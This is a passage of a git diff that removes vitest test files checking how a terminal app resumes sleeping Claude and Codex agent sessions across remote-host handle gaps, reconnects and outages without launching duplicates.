-    // The gap itself: the row is published, its handle has not arrived.
-    ptyIdsByTabId: {},
-    sleepingAgentSessionsByPaneKey: {},
-    pendingStartupByTabId: {},
-    automaticAgentResumeClaimsByTabId: {},
-    agentStatusByPaneKey: {}
-  }
-  useAppStore.setState(state)
-}
-
-/** A cold split mirror whose sibling is ready before this leaf has ever held a binding. */
-function seedSplitTabWithOnlySiblingReady(
-  worktree: ReturnType<typeof makeCreatedAgentWorktree>
-): void {
-  seedMirroredWorkspace(worktree)
-  useAppStore.setState({
-    terminalLayoutsByTabId: {
-      [WEB_TAB_ID]: {
-        root: {
-          type: 'split',
-          direction: 'vertical',
-          first: { type: 'leaf', leafId: LEAF_ID },
-          second: { type: 'leaf', leafId: SIBLING_LEAF_ID }
-        },
-        activeLeafId: SIBLING_LEAF_ID,
-        expandedLeafId: null,
-        // Only the ready sibling is bound; the record's leaf has never held a handle.
-        ptyIdsByLeafId: { [SIBLING_LEAF_ID]: 'remote:env-handle-gap@@term_sibling' }
-      }
-    },
-    ptyIdsByTabId: { [WEB_TAB_ID]: ['remote:env-handle-gap@@term_sibling'] }
-  })
-}
-
-/** A second published mirrored row in the same environment, with its own leaf binding. */
-function seedSecondMirroredPane(worktreeId: string): void {
-  const before = useAppStore.getState()
-  useAppStore.setState({
-    tabsByWorktree: {
-      [worktreeId]: [
-        ...(before.tabsByWorktree[worktreeId] ?? []),
-        makeTerminalTab({ id: SECOND_TAB_ID, worktreeId, title: 'Claude 2' })
-      ]
-    },
-    terminalLayoutsByTabId: {
-      ...before.terminalLayoutsByTabId,
-      [SECOND_TAB_ID]: {
-        root: { type: 'leaf', leafId: SECOND_LEAF_ID },
-        activeLeafId: SECOND_LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [SECOND_LEAF_ID]: 'remote:env-handle-gap@@term_2' }
-      }
-    }
-  })
-}
-
-/** The capture the reported flow produces: recorded mid-turn, so it is active work, not history. */
-function seedActiveSleepingRecordFor(
-  worktreeId: string,
-  tabId: string,
-  leafId: string,
-  sessionId: string
-): string {
-  const paneKey = makePaneKey(tabId, leafId)
-  useAppStore.setState({
-    sleepingAgentSessionsByPaneKey: {
-      ...useAppStore.getState().sleepingAgentSessionsByPaneKey,
-      [paneKey]: {
-        paneKey,
-        tabId,
-        worktreeId,
-        agent: 'claude',
-        providerSession: { key: 'session_id', id: sessionId },
-        connectionId: null,
-        prompt: '',
-        state: 'working',
-        capturedAt: 1000,
-        updatedAt: 1000,
-        terminalTitle: 'Claude',
-        origin: 'live'
-      }
-    }
-  })
-  return paneKey
-}
-
-function seedActiveSleepingRecord(worktreeId: string): string {
-  return seedActiveSleepingRecordFor(worktreeId, WEB_TAB_ID, LEAF_ID, 'handle-gap-session')
-}
-
-function setRuntimeEnvironmentStatusEntryForTests(
-  environmentId: string,
-  entry: RuntimeEnvironmentStatus
-): void {
-  useAppStore.setState({
-    runtimeStatusByEnvironmentId: new Map(useAppStore.getState().runtimeStatusByEnvironmentId).set(
-      environmentId,
-      entry
-    )
-  })
-}
-
-function setRuntimeEnvironmentDisconnectedForTests(environmentId: string): void {
-  setRuntimeEnvironmentStatusEntryForTests(environmentId, { status: null, checkedAt: 0 })
-}
-
-function setRuntimeEnvironmentTransportDownForTests(environmentId: string): void {
-  setRuntimeEnvironmentStatusEntryForTests(environmentId, {
-    status: null,
-    checkedAt: 1,
-    snapshot: {
-      environmentId,
-      pairingRevision: 1,
-      sequence: 2,
-      checkedAt: 1,
-      status: null,
-      verification: 'unavailable',
-      transport: 'disconnected'
-    }
-  })
-}
-
-// Same-runtime contact recovery changes hostContactEpoch without changing connection generation (#19647).
-function setRuntimeEnvironmentReconnectedForTests(environmentId: string): void {
-  setRuntimeEnvironmentStatusEntryForTests(environmentId, {
-    status: {
-      runtimeId: 'rt-1',
-      rendererGraphEpoch: 0,
-      graphStatus: 'ready',
-      authoritativeWindowId: null,
-      liveTabCount: 0,
-      liveLeafCount: 0,
-      runtimeProtocolVersion: 3,
-      minCompatibleRuntimeClientVersion: 3
-    },
-    checkedAt: 2,
-    hostContactEpoch: 1
-  })
-}
-
-function clearRuntimeEnvironmentStatusEntryForTests(environmentId: string): void {
-  const next = new Map(useAppStore.getState().runtimeStatusByEnvironmentId)
-  next.delete(environmentId)
-  useAppStore.setState({ runtimeStatusByEnvironmentId: next })
-}
-
-describe('resume across the mirror handle gap', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    useAppStore.setState(initialAppStoreState, true)
-    resetHostSessionMirrorHydrationForTests()
-    resetHostMirrorHandleGapWaitsForTests()
-    clearRuntimeEnvironmentConnectionGenerationsForTests()
-  })
-
-  afterEach(() => {
-    // Cancel waits before store reset retracts rows and synchronously replays them.
-    resetHostMirrorHandleGapWaitsForTests()
-    useAppStore.setState(initialAppStoreState, true)
-    resetHostSessionMirrorHydrationForTests()
-    clearRuntimeEnvironmentConnectionGenerationsForTests()
-    vi.useRealTimers()
-  })
-
-  it('does not resume a published mirrored pane whose handle has not landed yet', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-
-    const launched = resumeSleepingAgentSessionsForWorktree(worktree.id)
-
-    const after = useAppStore.getState()
-    expect(launched).toBe(0)
-    expect(after.tabsByWorktree[worktree.id]).toHaveLength(1)
-    expect(Object.keys(after.pendingStartupByTabId)).toHaveLength(0)
-    expect(after.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-  })
-
-  it('holds a slept binding retained through a pending snapshot without replacing it', () => {
-    resetWebSessionTabsSyncTestState()
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    const snapshot = makeSnapshot(
-      [
-        {
-          type: 'terminal',
-          id: `host-tab-1::${LEAF_ID}`,
-          title: 'Claude',
-          parentTabId: 'host-tab-1',
-          leafId: LEAF_ID,
-          isActive: true,
-          status: 'pending-handle',
-          terminal: null
-        }
-      ],
-      { worktree: worktree.id }
-    )
-    useAppStore.setState(
-      applyWebSessionTabsSnapshot(useAppStore.getState(), snapshot, RUNTIME_ENV_ID, Date.now())
-    )
-
-    expect(
-      useAppStore.getState().terminalLayoutsByTabId[WEB_TAB_ID]?.ptyIdsByLeafId?.[LEAF_ID]
-    ).toBe('remote:env-handle-gap@@term_1')
-    expect(useAppStore.getState().ptyIdsByTabId[WEB_TAB_ID] ?? []).toEqual([])
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS - 1)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(useAppStore.getState().automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    vi.advanceTimersByTime(1)
-    // The deadline ends the wait, but an unverifiable binding never authorizes a replacement.
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(useAppStore.getState().automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    resetWebSessionTabsSyncTestState()
-  })
-
-  it('does not resume a published host row without a PTY binding', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    seedActiveSleepingRecord(worktree.id)
-    useAppStore.setState({
-      terminalLayoutsByTabId: {
-        [WEB_TAB_ID]: {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null,
-          ptyIdsByLeafId: {}
-        }
-      }
-    })
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-  })
-
-  // Every release path must replay the sweep; a bounded wait with no replay strands recovery.
-
-  it("releases when the pane's own handle lands and keeps the pane it now owns", () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    useAppStore.setState({ ptyIdsByTabId: { [WEB_TAB_ID]: ['remote:env-handle-gap@@term_1'] } })
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)
-
-    const after = useAppStore.getState()
-    expect(after.tabsByWorktree[worktree.id]).toHaveLength(1)
-    expect(Object.keys(after.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect(after.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-  })
-
-  it('does not resume a pending leaf merely because its sibling holds a handle', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedSplitTabWithOnlySiblingReady(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    // A sibling handle does not authorize a second writer for this leaf.
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-
-    const after = useAppStore.getState()
-    const resumeTabIds = (after.tabsByWorktree[worktree.id] ?? [])
-      .map((tab) => tab.id)
-      .filter((id) => id !== WEB_TAB_ID)
-    expect(resumeTabIds).toHaveLength(0)
-    expect(Object.keys(after.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect(after.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-  })
-
-  it.each([true, false])('does not resume a retracted host row (parked=%s)', (parked) => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    if (parked) {
-      expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    }
-
-    useAppStore.setState({ tabsByWorktree: { [worktree.id]: [] } })
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS * 2)
-
-    const after = useAppStore.getState()
-    expect(after.tabsByWorktree[worktree.id]).toEqual([])
-    expect(Object.keys(after.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect(after.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-    expect(vi.getTimerCount()).toBe(0)
-  })
-
-  it('releases the handle wait at its deadline without authorizing a resume', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS - 1)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    vi.advanceTimersByTime(1)
-
-    const after = useAppStore.getState()
-    const resumeTabIds = (after.tabsByWorktree[worktree.id] ?? [])
-      .map((tab) => tab.id)
-      .filter((id) => id !== WEB_TAB_ID)
-    expect(resumeTabIds).toHaveLength(0)
-    expect(Object.keys(after.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect(after.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(hasHostMirrorHandleWaitExpired(RUNTIME_ENV_ID, WEB_TAB_ID)).toBe(true)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-  })
-
-  it('keeps the original deadline when a second sweep re-parks the same pane', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-
-    expect(hasHostMirrorHandleWaitExpired(RUNTIME_ENV_ID, WEB_TAB_ID)).toBe(true)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(useAppStore.getState().automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-  })
-
-  // Reconnect during an armed wait must invalidate its pending deadline, independently of already-recorded verdicts.
-  it('does not let a wait armed on the previous connection decide the new one', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS - 1)
-    setRuntimeEnvironmentConnectionGenerationForTests(RUNTIME_ENV_ID, 1)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    vi.advanceTimersByTime(1)
-
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(useAppStore.getState().automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(useAppStore.getState().automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-  })
-
-  // Disconnect alone preserves generation; silence during an outage cannot prove remote exit or authorize a duplicate launch (#19735, ssh-execution-boundary.md).
-  it('does not turn an outage into a verdict when the environment dropped mid-park', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-    setRuntimeEnvironmentDisconnectedForTests(RUNTIME_ENV_ID)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)
-
-    const during = useAppStore.getState()
-    expect(during.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(during.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect((during.tabsByWorktree[worktree.id] ?? []).map((tab) => tab.id)).toEqual([WEB_TAB_ID])
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-
-    // Once contact returns, a full healthy budget must decide; retaining the old outage hold forever would strand recovery.
-    clearRuntimeEnvironmentStatusEntryForTests(RUNTIME_ENV_ID)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)
-
-    const after = useAppStore.getState()
-    expect(after.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(after.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-  })
-
-  // Main reports transport outages as reconnecting too; guard both production outage states.
-  it('does not turn a transport-down snapshot into a verdict either', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-    setRuntimeEnvironmentTransportDownForTests(RUNTIME_ENV_ID)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)
-
-    const during = useAppStore.getState()
-    expect(during.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(during.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-  })
-
-  // An outage can start/end within one unchanged generation; contact epoch proves the budget lacked continuous host contact.
-  it('does not record a verdict when contact was lost and regained inside the budget', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    vi.advanceTimersByTime(1000)
-    setRuntimeEnvironmentDisconnectedForTests(RUNTIME_ENV_ID)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS - 1001)
-    setRuntimeEnvironmentReconnectedForTests(RUNTIME_ENV_ID)
-    vi.advanceTimersByTime(1)
-
-    const during = useAppStore.getState()
-    expect(during.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(during.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)
-
-    const after = useAppStore.getState()
-    expect(after.sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(Object.keys(after.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-  })
-
-  it('releases only the pane whose handle landed when two panes share the environment', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    seedSecondMirroredPane(worktree.id)
-    const firstPaneKey = seedActiveSleepingRecordFor(worktree.id, WEB_TAB_ID, LEAF_ID, 'session-1')
-    const secondPaneKey = seedActiveSleepingRecordFor(
-      worktree.id,
-      SECOND_TAB_ID,
-      SECOND_LEAF_ID,
-      'session-2'
-    )
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(2)
-
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-    useAppStore.setState({ ptyIdsByTabId: { [WEB_TAB_ID]: ['remote:env-handle-gap@@term_1'] } })
-
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-    const after = useAppStore.getState()
-    expect(after.sleepingAgentSessionsByPaneKey[firstPaneKey]).toBeDefined()
-    expect(after.sleepingAgentSessionsByPaneKey[secondPaneKey]).toBeDefined()
-    expect(Object.keys(after.automaticAgentResumeClaimsByTabId)).toHaveLength(0)
-
-    // Use the clock: a spurious release/re-park looks unchanged immediately but would restart this pane’s original deadline.
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[secondPaneKey]).toBeDefined()
-  })
-
-  it('does not release or reschedule a park because another environment published a handle', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    const paneKey = seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-    useAppStore.setState({
-      ptyIdsByTabId: { 'web-terminal-other-env-tab': ['remote:env-other@@term_1'] }
-    })
-
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS / 2)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-    expect(hasHostMirrorHandleWaitExpired(RUNTIME_ENV_ID, WEB_TAB_ID)).toBe(true)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-  })
-
-  it('leaves no waiter or timer behind when the environment tears its rows down mid-park', () => {
-    const worktree = makeRuntimeOwnedWorktree()
-    seedMirroredWorkspace(worktree)
-    seedActiveSleepingRecord(worktree.id)
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-
-    // Teardown drops every row the environment owned.
-    useAppStore.setState({ tabsByWorktree: {}, terminalLayoutsByTabId: {} })
-
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-    expect(vi.getTimerCount()).toBe(0)
-  })
-})
diff --git a/src/renderer/src/lib/host-mirrored-pane-resume-replay.test.ts b/src/renderer/src/lib/host-mirrored-pane-resume-replay.test.ts
deleted file mode 100644
index 79badec2959..00000000000
--- a/src/renderer/src/lib/host-mirrored-pane-resume-replay.test.ts
+++ /dev/null
@@ -1,169 +0,0 @@
-import { getDefaultSettings } from '../../../shared/constants'
-import path from 'node:path'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import { resumeSleepingAgentSessionsForWorktree } from './agent-session/resume/resume-sleeping-agent-session'
-import { makeCreatedAgentWorktree } from '@/lib/workspace/activation/worktree-activation-created-agent.test-fixture'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import {
-  hasHostSessionMirrorHydrated,
-  markHostSessionMirrorHydrated,
-  resetHostSessionMirrorHydrationForTests
-} from '@/runtime/web-session-tabs-sync/hydration/host-session-mirror-hydration'
-import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation'
-
-// Mirror settlement must replay deferred recovery and reset per connection, or duplicate-launch prevention would strand resumes.
-
-const initialAppStoreState = useAppStore.getState()
-
-const LEAF_ID = '22222222-2222-4222-8222-222222222222'
-const WEB_TAB_ID = 'web-terminal-host-tab-1'
-const RUNTIME_ENV_ID = 'env-abfee683'
-const WORKTREE_ID = makeCreatedAgentWorktree().id
-
-function makeRuntimeOwnedWorktree(): ReturnType<typeof makeCreatedAgentWorktree> {
-  return {
-    ...makeCreatedAgentWorktree(),
-    createdWithAgent: undefined,
-    hostId: `runtime:${encodeURIComponent(RUNTIME_ENV_ID)}`
-  }
-}
-
-function seedState(worktree: ReturnType<typeof makeCreatedAgentWorktree>): void {
-  const state: Partial<AppState> = {
-    repos: [
-      {
-        id: 'repo-1',
-        path: path.join(path.sep, 'workspace', 'repo'),
-        displayName: 'repo',
-        badgeColor: '#000000',
-        addedAt: 0
-      }
-    ],
-    worktreesByRepo: { 'repo-1': [worktree] },
-    activeRepoId: 'repo-1',
-    activeWorktreeId: worktree.id,
-    activeView: 'terminal',
-    tabsByWorktree: {
-      [worktree.id]: [{ id: WEB_TAB_ID, title: 'Codex', ptyId: null } as never]
-    },
-    unifiedTabsByWorktree: {
-      [worktree.id]: [
-        {
-          id: `unified-${WEB_TAB_ID}`,
-          contentType: 'terminal',
-          entityId: WEB_TAB_ID,
-          groupId: 'group-1'
-        } as never
-      ]
-    },
-    groupsByWorktree: {
-      [worktree.id]: [
-        {
-          id: 'group-1',
-          activeTabId: `unified-${WEB_TAB_ID}`,
-          tabOrder: [`unified-${WEB_TAB_ID}`],
-          recentTabIds: []
-        } as never
-      ]
-    },
-    activeGroupIdByWorktree: { [worktree.id]: 'group-1' },
-    layoutByWorktree: {},
-    openFiles: [],
-    browserTabsByWorktree: {},
-    activeFileIdByWorktree: {},
-    activeBrowserTabIdByWorktree: {},
-    activeTabTypeByWorktree: {},
-    activeTabIdByWorktree: {},
-    tabBarOrderByWorktree: {},
-    pendingStartupByTabId: {},
-    automaticAgentResumeClaimsByTabId: {},
-    agentStatusByPaneKey: {},
-    sleepingAgentSessionsByPaneKey: {},
-    ptyIdsByTabId: {},
-    terminalLayoutsByTabId: {
-      [WEB_TAB_ID]: {
-        root: { type: 'leaf', leafId: LEAF_ID },
-        activeLeafId: LEAF_ID,
-        ptyIdsByLeafId: { [LEAF_ID]: 'pty-host-old-1' }
-      } as never
-    },
-    settings: {
-      ...getDefaultSettings(''),
-      agentCmdOverrides: {}
-    },
-    markWorktreeVisited: vi.fn(),
-    recordWorktreeVisit: vi.fn(),
-    refreshGitHubForWorktreeIfStale: vi.fn(),
-    revealWorktreeInSidebar: vi.fn()
-  }
-  useAppStore.setState(state)
-}
-
-function seedSleepingRecord(worktreeId: string, sessionId: string): string {
-  const paneKey = makePaneKey(WEB_TAB_ID, LEAF_ID)
-  useAppStore.setState((s) => ({
-    sleepingAgentSessionsByPaneKey: {
-      ...s.sleepingAgentSessionsByPaneKey,
-      [paneKey]: {
-        paneKey,
-        tabId: WEB_TAB_ID,
-        worktreeId,
-        agent: 'codex' as const,
-        providerSession: { key: 'session_id' as const, id: sessionId },
-        prompt: 'keep working',
-        state: 'working' as const,
-        origin: 'live' as const,
-        capturedAt: 1000,
-        updatedAt: 1000,
-        terminalTitle: 'Codex'
-      }
-    }
-  }))
-  return paneKey
-}
-
-function connectRuntime(runtimeId: string): void {
-  useAppStore.getState().setRuntimeEnvironmentStatus(RUNTIME_ENV_ID, {
-    status: {
-      runtimeId,
-      rendererGraphEpoch: 1,
-      graphStatus: 'live',
-      authoritativeWindowId: 1,
-      liveTabCount: 1,
-      liveLeafCount: 1
-    } as never,
-    checkedAt: 1
-  })
-}
-
-beforeEach(() => {
-  resetHostSessionMirrorHydrationForTests()
-  clearRuntimeEnvironmentConnectionGenerationsForTests()
-})
-
-afterEach(() => {
-  useAppStore.setState(initialAppStoreState, true)
-  resetHostSessionMirrorHydrationForTests()
-  clearRuntimeEnvironmentConnectionGenerationsForTests()
-})
-
-describe('parked mirrored-pane resume replay', () => {
-  it('drops the hydrated verdict when the host reconnects under a new runtime id', () => {
-    connectRuntime('runtime-a')
-    markHostSessionMirrorHydrated(RUNTIME_ENV_ID)
-    expect(hasHostSessionMirrorHydrated(RUNTIME_ENV_ID, WORKTREE_ID)).toBe(true)
-
-    // A host app restart: same environment, new connection, unknown PTYs again.
-    connectRuntime('runtime-b')
-    expect(hasHostSessionMirrorHydrated(RUNTIME_ENV_ID, WORKTREE_ID)).toBe(false)
-
-    const worktree = makeRuntimeOwnedWorktree()
-    seedState(worktree)
-    const paneKey = seedSleepingRecord(worktree.id, 'codex-session-replay-3')
-
-    expect(resumeSleepingAgentSessionsForWorktree(worktree.id)).toBe(0)
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[paneKey]).toBeDefined()
-  })
-})
diff --git a/src/renderer/src/lib/launch-agent-hosted-prompt.test.ts b/src/renderer/src/lib/launch-agent-hosted-prompt.test.ts
deleted file mode 100644
index 2519190d235..00000000000
--- a/src/renderer/src/lib/launch-agent-hosted-prompt.test.ts
+++ /dev/null
@@ -1,83 +0,0 @@
-import type * as CreateRequest from '@/runtime/hosted-terminals/creation/agent-launch/agent-session-create-request'
-import type * as HostSettings from '@/runtime/agent-launch-settings/agent-launch-settings-transport'
-// @vitest-environment happy-dom
-import { beforeEach, expect, it, vi } from 'vitest'
-import type { createWebRuntimeSessionTerminalResult } from '@/runtime/hosted-terminals/creation/web-runtime-terminal-create-operation'
-import type { readHostAgentStartupSettings } from '@/runtime/agent-launch-settings/agent-launch-settings-transport'
-import { launchAgentInWebHostTab } from '@/lib/agent-session/launch/new-tab/launch-agent-web-host-tab'
-
-const mocks = vi.hoisted(() => ({
-  create: vi.fn<typeof createWebRuntimeSessionTerminalResult>(),
-  settings: vi.fn<typeof readHostAgentStartupSettings>(),
-  paste: vi.fn(async () => true),
-  error: vi.fn()
-}))
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      runtimeStatusByEnvironmentId: new Map(),
-      setActiveTabType: vi.fn(),
-      seedNativeChatLaunchDraft: vi.fn(),
-      seedNativeChatLaunchPrompt: vi.fn(),
-      markNativeChatLaunchPromptFailed: vi.fn()
-    })
-  }
-}))
-vi.mock('sonner', () => ({ toast: { error: mocks.error } }))
-vi.mock(
-  '@/runtime/hosted-terminals/creation/agent-launch/agent-session-create-request',
-  async (original) => ({
-    ...(await original<typeof CreateRequest>()),
-    agentSessionCreateCapabilities: async () => ({ capable: false, complete: false })
-  })
-)
-vi.mock('@/runtime/agent-launch-settings/agent-launch-settings-transport', async (original) => ({
-  ...(await original<typeof HostSettings>()),
-  readHostAgentStartupSettings: mocks.settings
-}))
-vi.mock('@/runtime/hosted-terminals/creation/web-runtime-terminal-create-operation', () => ({
-  createWebRuntimeSessionTerminalResult: mocks.create
-}))
-vi.mock('@/lib/agent-session/messaging/paste/agent-paste-draft', () => ({
-  pasteDraftWhenAgentReady: mocks.paste
-}))
-
-beforeEach(() => {
-  vi.clearAllMocks()
